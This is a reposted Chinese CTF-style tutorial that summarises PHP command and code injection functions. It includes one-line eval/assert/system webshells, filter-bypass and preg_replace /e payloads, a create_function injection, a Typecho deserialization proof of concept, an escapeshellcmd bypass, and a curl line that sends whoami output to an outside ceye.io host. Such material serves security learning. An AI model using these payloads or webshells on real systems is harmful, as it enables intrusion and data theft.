原文:https://skysec.top/2018/03/09/php-command or code-injection-summary/

常见php命令注入函数

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,
array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

eval()/assert()/system()

知识前提

这里不再多提,相信大家已经对这几个函数轻车熟路了,常见小马均在使用

  1. <?php
  2. @eval($_GET["sky"]);
  3. ?>
  4. <?php
  5. @assert($_GET["sky"]);
  6. ?>
  7. <?php
  8. @system($_GET["sky"]);
  9. ?>

题目实战1

这里提一个带有过滤的题目

  1. <!--
  2. $str=@(string)$_GET['str'];
  3. blackListFilter($black_list, $str);
  4. eval('$str="'.addslashes($str).'";');
  5. -->

对于这种情况,我们应该如何进行代码/命令注入呢?
实现的方法是传入参数:

  1. str={{phpinfo()}}

这里如果直接上phpinfo(),由于有addslashes的作用会出现\”的情况使得命令无法执行

  1. ${phpinfo()}

告诉我们最里面这个是变量,名为phpinfo(),接下来的一层花括号将其解析为字符串"phpinfo()"
另外,{}有时候也可以当[]使用,文档中有说明:Note: string也可用花括号访问,比如str42,这里

  1. str{42}==$str[42]

所以最后的payload

  1. ?str=${phpinfo()}

题目实战2

还有一种情况下,是命令不回显的,类似于如下

  1. <?php
  2. $cmd = $_GET[`cmd`];
  3. `$cmd`;

这里介绍另一种方法:

  1. curl http://ip.port.b182oj.ceye.io/`whoami`

我们可以将回显直接打出来
而这里用了一点反引号可以直接执行命令
所以最后打出来的应该是

  1. http://ip.port.b182oj.ceye.io/www-data

我们在vps上应该可以看到这样的信息即可获取到命令执行结果
同样也可以获取数据,同样的方法还有dns带出,详细可以参考我的这篇文章:http://skysec.top/2017/12/29/Time-Based-RCE/

preg_replace()

知识前提

查阅php手册

  1. mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。
其中,在错误/异常中提及:
PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。
所以正是这个修饰符,让我们可以进行命令注入
但需要知道的是:

  1. 7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。
  2. 5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。参见文档中 PREG_REPLACE_EVAL 关于安全风险的更多信息。

在实践的时候需要看清php版本,在7.0的版本以后就不再适用!

题目实战

  1. error_reporting(0);
  2. $pattern = $_GET[pat];
  3. $replacement = $_GET[rep];
  4. $subject = $_GET[sub];
  5. if (isset($pattern) && isset($replacement) && isset($subject))
  6. {
  7. preg_replace($pattern, $replacement, $subject);
  8. }
  9. else
  10. {
  11. die();
  12. }

调用方法:

  1. preg_replace("/test/e",phpinfo(),"jutst test");

payload:

  1. ?pat=/test/e&rep=phpinfo()&sub=jutst test
  2. ?pat=/test/e&rep=var_dump(`dir`)&sub=jutst test

php-command/code-injection summary(转载) - 图1
php-command/code-injection summary(转载) - 图2

create_function()

知识前提

查阅php手册

  1. string create_function ( string $args , string $code )

函数作用:从创建一个匿名函数传递的参数,并返回一个唯一的名称
看一个官方样例

  1. <?php
  2. $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
  3. echo "New anonymous function: $newfunc\n";
  4. echo $newfunc(2, M_E) . "\n";
  5. // outputs
  6. // New anonymous function: lambda_1
  7. // ln(2) + ln(2.718281828459) = 1.6931471805599
  8. ?>

我们不难得到create_function()的原型

  1. function test($a,$b)
  2. {
  3. return "ln($a) + ln($b) = " . log($a * $b);
  4. }

那么我们开始实战

题目实战

  1. <?php
  2. error_reporting(0);
  3. $sort_by = $_GET['sort_by'];
  4. $sorter = 'strnatcasecmp';
  5. $databases=array('1234','4321');
  6. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
  7. usort($databases, create_function('$a, $b', $sort_function));
  8. ?>

首先构造出函数原型

  1. function test($a,$b)
  2. {
  3. return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
  4. }

根据这个,我们可以构造payload:

  1. ?sort_by="]);}phpinfo();/*

传入后得到:

  1. return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);

所以此时的函数原型:

  1. function test($a,$b)
  2. {
  3. return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
  4. }

很显然,经过/*注释符
我们剩下的只有

  1. function test($a,$b)
  2. {
  3. return 1 * strnatcasecmp($a[""]);
  4. }
  5. phpinfo();

php-command/code-injection summary(转载) - 图3
成功的进行了代码注入!

call_user_func()/call_user_func_array()/array_map()

知识前提

同样还是查阅官方手册

  1. mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

函数作用:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

  1. mixed call_user_func_array ( callable $callback , array $param_arr )

函数作用:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

  1. array array_map ( callable $callback , array $array1 [, array $... ] )

函数作用:返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
由于三者类似,这里介绍call_user_func()
我们举个例子

  1. <?php
  2. $filter= 'assert';
  3. $value = 'phpinfo()';
  4. call_user_func($filter, $value);
  5. ?>

php-command/code-injection summary(转载) - 图4
可以看到成功执行了命令

题目实战

前段时间非常火的Typecho反序列化漏洞中最后就用到了这个函数进行代码注入
有兴趣的可以在freebuf这篇文章查看详情:

  1. http://www.freebuf.com/column/161798.html

这里截选出最终的利用点

  1. private function _applyFilter($value)
  2. {
  3. if ($this->_filter) {
  4. foreach ($this->_filter as $filter) {
  5. $value = is_array($value) ? array_map($filter, $value) :
  6. call_user_func($filter, $value);
  7. }
  8. $this->_filter = array();
  9. }
  10. return $value;
  11. }

而当时的原因正是我们可控php-command/code-injection summary(转载) - 图5value两个参数
附上payload

  1. class Typecho_Feed{
  2. private $_type='ATOM 1.0';
  3. private $_items;
  4. public function __construct(){
  5. $this->_items = array(
  6. '0'=>array(
  7. 'author'=> new Typecho_Request())
  8. );
  9. }
  10. }
  11. class Typecho_Request{
  12. private $_params = array('screenName'=>'phpinfo()');
  13. private $_filter = array('assert');
  14. }
  15. $poc = array(
  16. 'adapter'=>new Typecho_Feed(),
  17. 'prefix'=>'typecho');
  18. echo base64_encode(serialize($poc));

反引号

知识前提

反引用的本质就是在操作系统执行该命令。此时可以造成命令注入等各种危害

操作实践

  1. root@ubuntu-512mb-sfo2-01:/var/www/html/test# echo ls
  2. ls
  3. root@ubuntu-512mb-sfo2-01:/var/www/html/test# `echo ls`
  4. test tets
  5. root@ubuntu-512mb-sfo2-01:/var/www/html/test# ls
  6. test tets

可以明显的看出对比,再看php

  1. php > $test = `ls`;
  2. php > echo $test;
  3. test
  4. tets

所以反引号在命令注入实战中还是有不小的杀伤力

ob_start()

知识前提

  1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

函数描述:此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

操作实践

  1. php > $sky = 'system';
  2. php > ob_start($sky);
  3. php > echo 'ls -al';
  4. php > ob_end_flush();
  5. -rw-r--r-- 1 root root 0 Mar 12 06:46 tets

可以看到成功执行命令
这里注意,如果我这样使用

  1. php > echo 'ls -al';
  2. ls -al

是没有任何作用的
因为这里的$sky被作为输出的回调函数
而我们输入的ls -al在缓冲区
经过ob_end_flush()输出缓冲区后,可以得到
system(‘ls -al’)
这样的操作,所以成功执行了命令。

exec()/shell_exec()/escapeshellcmd()/passthru()

  1. string exec ( string $command [, array &$output [, int &$return_var ]] )
  2. string shell_exec ( string $cmd )
  3. string escapeshellcmd ( string $command )
  4. void passthru ( string $command [, int &$return_var ] )

这几个就不细说的,读名字都知道是执行shell命令……如果函数执行未过滤完善的可控参数,后果非常危险
其中:
passthru()同 exec() 函数类似,可以将结果直接传送到浏览器
然后值得一提的是escapeshellcmd()
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
这里虽然存在安全转义,但是我们注意到官方手册的一句话

  1. Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % and ! are replaced by a space instead.

就过滤参数而言,这里有一个win下绕过的小tip,也是之前l3m0n师傅提及过的:
测试脚本:

  1. <?php
  2. $test = 'dir '.$_GET['sky'];
  3. $escaped_test = escapeshellcmd($test);
  4. var_dump($escaped_test);
  5. file_put_contents('out.bat',$escaped_test);
  6. system('out.bat');
  7. ?>

我们直接访问http://localhost/web/123.php?sky=../ | whoami
得到的是:

  1. H:\wamp64\www\web\123.php:4:string 'dir ../ ^| whoami' (length=17)
  2. H:\wamp64\www\web>dir ../ | whoami

但是执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
可以用

  1. ../ %1a whoami

但是需要注意的是版本问题

  1. 5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
  2. 5.4.43, 5.5.27, 5.6.11 感叹号会被空格所替换。

5.6版本后可能不再适用,需要注意

popen()/proc_open()/pcntl_exec()

  1. resource popen ( string $command , string $mode )
  2. resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
  3. void pcntl_exec ( string $path [, array $args [, array $envs ]] )

其中popen()和proc_open()是不会直接返回执行结果的,而是返回一个文件指针,但是命令是已经执行了
由于没有遇到类似的题目就不多言了:)

总结

php还是博大精深,没错,php是最好的语言233333333(虽然python我感觉更好,小声bb)